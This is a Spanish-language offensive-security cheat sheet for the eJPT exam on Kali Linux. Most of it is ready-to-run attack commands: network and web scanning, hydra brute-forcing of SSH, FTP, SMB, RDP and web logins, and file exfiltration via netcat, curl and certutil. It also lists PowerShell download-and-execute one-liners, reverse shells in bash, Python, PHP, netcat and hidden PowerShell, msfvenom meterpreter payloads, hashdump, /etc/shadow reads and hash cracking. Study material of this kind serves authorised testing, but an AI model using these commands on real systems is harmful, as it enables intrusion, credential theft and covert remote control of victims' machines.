■ PENTEST CHEATSHEET
eJPT / Seguridad Ofensiva  ·  Kali Linux Edition  ·  by marufortix
★ Solo entornos autorizados ★
Escaneos básicos
Completo con scripts y versiones
nmap -sV -sC -p- <IP>
Solo puertos abiertos
nmap -sV -sC -p- --open <IP>
Puertos específicos
nmap -p 80,443,22,21 <IP>
Escaneo UDP
nmap -sU -p 161,53 <IP>
Escaneos avanzados
Agresivo (OS, versiones, scripts, traceroute)
nmap -A -T4 <IP>
Ping sweep / host discovery
nmap -sn 192.168.1.0/24
Todos los puertos, máxima velocidad
nmap -p- -T5 <IP>
Escaneo de vulnerabilidades
nmap --script vuln <IP>
Guardar output
nmap -oN resultado.txt -sV -sC <IP>
Flags clave: -sV versiones · -sC scripts default · -p- todos los puertos · -A todo · -T4/5 velocidad
Gobuster
Directorios básico
gobuster dir -u http://<IP> -w /usr/share/wordlists/dirb/common.txt
Con extensiones y wordlist grande
gobuster dir -u http://<IP> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
DNS fuzzing
gobuster dns -d <dominio.com> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Virtual hosts
gobuster vhost -u http://<dominio> -w wordlist.txt --append-domain
FFUF
Básico
ffuf -u http://<IP>/FUZZ -w /usr/share/wordlists/dirb/common.txt
Con extensiones y códigos de respuesta
ffuf -u http://<IP>/FUZZ -w wordlist.txt -e .php,.html,.txt -mc 200,301
Fuzzing de parámetros GET
ffuf -u http://<IP>/?FUZZ=valor -w wordlist.txt
Dirb / Nikto
dirb http://<IP> /usr/share/wordlists/dirb/common.txt
Escáner de vulnerabilidades web
nikto -h http://<IP>
SSH / FTP / SMB
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://<IP>
hydra -L users.txt -P rockyou.txt ftp://<IP>
hydra -l administrator -P rockyou.txt smb://<IP>
Con threads
hydra -l root -P rockyou.txt <IP> ssh -t 4
Otros protocolos
RDP
hydra -l admin -P rockyou.txt <IP> rdp
Telnet
hydra -l admin -P rockyou.txt <IP> telnet
MySQL
hydra -l admin -P rockyou.txt mysql://<IP>
HTTP formularios web
POST form
hydra -l admin -P rockyou.txt <IP> http-post-form '/login:user=^USER^&pass=^PASS^:Invalid'
GET form
hydra -l admin -P rockyou.txt <IP> http-get-form '/login:user=^USER^&pass=^PASS^:F=Wrong'
Puerto personalizado
hydra -l admin -P rockyou.txt -s 8080 <IP> http-post-form '/login:u=^USER^&p=^PASS^:fail'
Wordlist recomendada: /usr/share/wordlists/rockyou.txt
Descomprimir primero con: gunzip rockyou.txt.gz
HTTP Python / PHP / Ruby
Python 3 — puerto 80
python3 -m http.server 80
Python 3 — puerto 8080
python3 -m http.server 8080
Python 2
python -m SimpleHTTPServer 80
PHP
php -S 0.0.0.0:80
Ruby
ruby -run -e httpd . -p 80
FTP
Con escritura
python3 -m pyftpdlib -p 21 -w
Con usuario y contraseña
python3 -m pyftpdlib --port 21 -w -u user -P pass
Netcat listener
Puerto 4444
nc -lvnp 4444
Puerto 443 (más sigiloso)
nc -lvnp 443
Con historial de comandos
rlwrap nc -lvnp 4444
Enumeración SMB
Listar shares sin contraseña
smbclient -L //<IP> -N
Listar shares con usuario
smbclient -L //<IP> -U usuario
Conectar a share anónimo
smbclient //<IP>/share -N
Conectar con credenciales
smbclient //<IP>/share -U user%pass
Ver permisos de shares
smbmap -H <IP>
smbmap -H <IP> -u user -p pass
Enumeración completa
enum4linux -a <IP>
crackmapexec smb <IP>
crackmapexec smb <IP> -u user -p pass --shares
Servidor SMB en Kali
Recibir archivos de Windows
impacket-smbserver share . -smb2support
impacket-smbserver share . -smb2support -username user -password pass
Comandos dentro de smbclient
Listar archivos
ls
Descargar archivo
get archivo.txt
Subir archivo
put archivo.txt
Descargar todo
mget *
Linux → Kali
Descargar desde víctima
curl http://<KALI_IP>:80/archivo -o archivo
wget http://<KALI_IP>:80/archivo -O archivo
Subir archivo a Kali
curl -X POST http://<KALI_IP>:80/upload -F 'file=@archivo.txt'
Netcat — Linux / Windows
Kali receptor
nc -lvnp 4444 > archivo_recibido.txt
Windows emisor
nc.exe -w 3 <KALI_IP> 4444 < archivo.txt
Linux emisor
nc <KALI_IP> 4444 < archivo.txt
Windows → Kali
certutil (LOLBin)
certutil -split -urlcache -f http://<KALI_IP>/archivo.exe archivo.exe
PowerShell DownloadFile
powershell -c "(New-Object Net.WebClient).DownloadFile('http://<IP>/mal.exe','mal.exe')"
Invoke-WebRequest
powershell -c "Invoke-WebRequest -Uri http://<IP>/arch -OutFile arch"
Ejecutar script en memoria
IEX(New-Object Net.WebClient).DownloadString('http://<IP>/script.ps1')
Copiar a share SMB
copy archivo.txt \\<KALI_IP>\share\
xcopy C:\Users\mario\*.txt \\<IP>\share\
Paso 1 — Obtener TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
Python 2
python -c 'import pty; pty.spawn("/bin/bash")'
script /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/null
Paso 2 — Mejorar TTY
Suspender la shell
Ctrl + Z
En terminal Kali — pasar control
stty raw -echo; fg
De vuelta en víctima
reset
export TERM=xterm
export SHELL=bash
Ajustar tamaño (ver con stty size)
stty rows 50 columns 200
Si se rompe la terminal tras Ctrl+Z, escribe reset a ciegas y pulsa Enter
Listener — siempre primero en Kali
nc -lvnp 4444
Mejor con historial
rlwrap nc -lvnp 4444
Bash
bash -i >& /dev/tcp/<KALI_IP>/4444 0>&1
bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'
/bin/bash -i > /dev/tcp/<IP>/4444 0<&1 2>&1
Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh"])'
PHP
php -r '$sock=fsockopen("<IP>",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$s=fsockopen("<IP>",4444);$proc=proc_open("/bin/sh",array(0=>$s,1=>$s,2=>$s),$pipes);'
Netcat
Si nc tiene -e
nc <KALI_IP> 4444 -e /bin/bash
Sin -e (mkfifo)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <IP> 4444 >/tmp/f
PowerShell (Windows)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("<IP>",4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS "+(pwd).Path+"> ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f exe -o shell64.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f asp -o shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f war -o shell.war
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f elf -o shell64.elf
Web
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=4444 -f raw -o shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=4444 -f raw -o shell.jsp
Handler Metasploit
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <TU_IP>
set LPORT 4444
run
Comandos esenciales
Iniciar
msfconsole
Buscar módulos
search <término>
Usar módulo
use <módulo>
Ver opciones del módulo
show options
set RHOSTS <IP>
set LHOST <tu_IP>
set LPORT 4444
set PAYLOAD <payload>
show payloads
run / exploit
Sesiones y Meterpreter
Gestión de sesiones
background
sessions -l
sessions -i 1
En meterpreter
sysinfo
getuid
getsystem
hashdump
upload archivo /ruta/destino
download archivo /ruta/local
shell
Enumeración básica Linux
Usuario y grupos
id
Comandos sudo sin contraseña
sudo -l
Buscar SUID
find / -perm -4000 2>/dev/null
Buscar SGID
find / -perm -2000 2>/dev/null
Archivos escribibles
find / -writable 2>/dev/null
cat /etc/passwd
cat /etc/shadow
crontab -l; cat /etc/crontab
env
uname -a
Herramientas automáticas
LinPEAS (más completo)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinEnum
wget http://<IP>/LinEnum.sh; chmod +x LinEnum.sh; ./LinEnum.sh
LSE (Linux Smart Enumeration)
wget http://<IP>/lse.sh; chmod +x lse.sh; ./lse.sh
Descifrar hashes
John the Ripper
john --wordlist=rockyou.txt hash.txt
Hashcat MD5
hashcat -m 0 hash.txt rockyou.txt
NTLM (Windows)
hashcat -m 1000 hash.txt rockyou.txt
SHA-512 Linux /etc/shadow
hashcat -m 1800 hash.txt rockyou.txt
hash-identifier
Chisel — Tunneling
Kali servidor
chisel server --reverse -p 9000
Víctima cliente
chisel client <KALI_IP>:9000 R:8080:127.0.0.1:8080
Conexiones y puertos
Puertos abiertos Linux
netstat -tulpn
ss -tulpn
Puertos abiertos Windows
netstat -ano
Cabeceras HTTP
curl -I http://<IP>
Fingerprinting web
whatweb http://<IP>
Búsqueda de archivos
find / -name '*.txt' 2>/dev/null | grep -i pass
find / -name 'config*' 2>/dev/null
find / -name '*.php' 2>/dev/null
grep -r 'password' /var/www/ 2>/dev/null
history
cat ~/.bash_history
COPIADO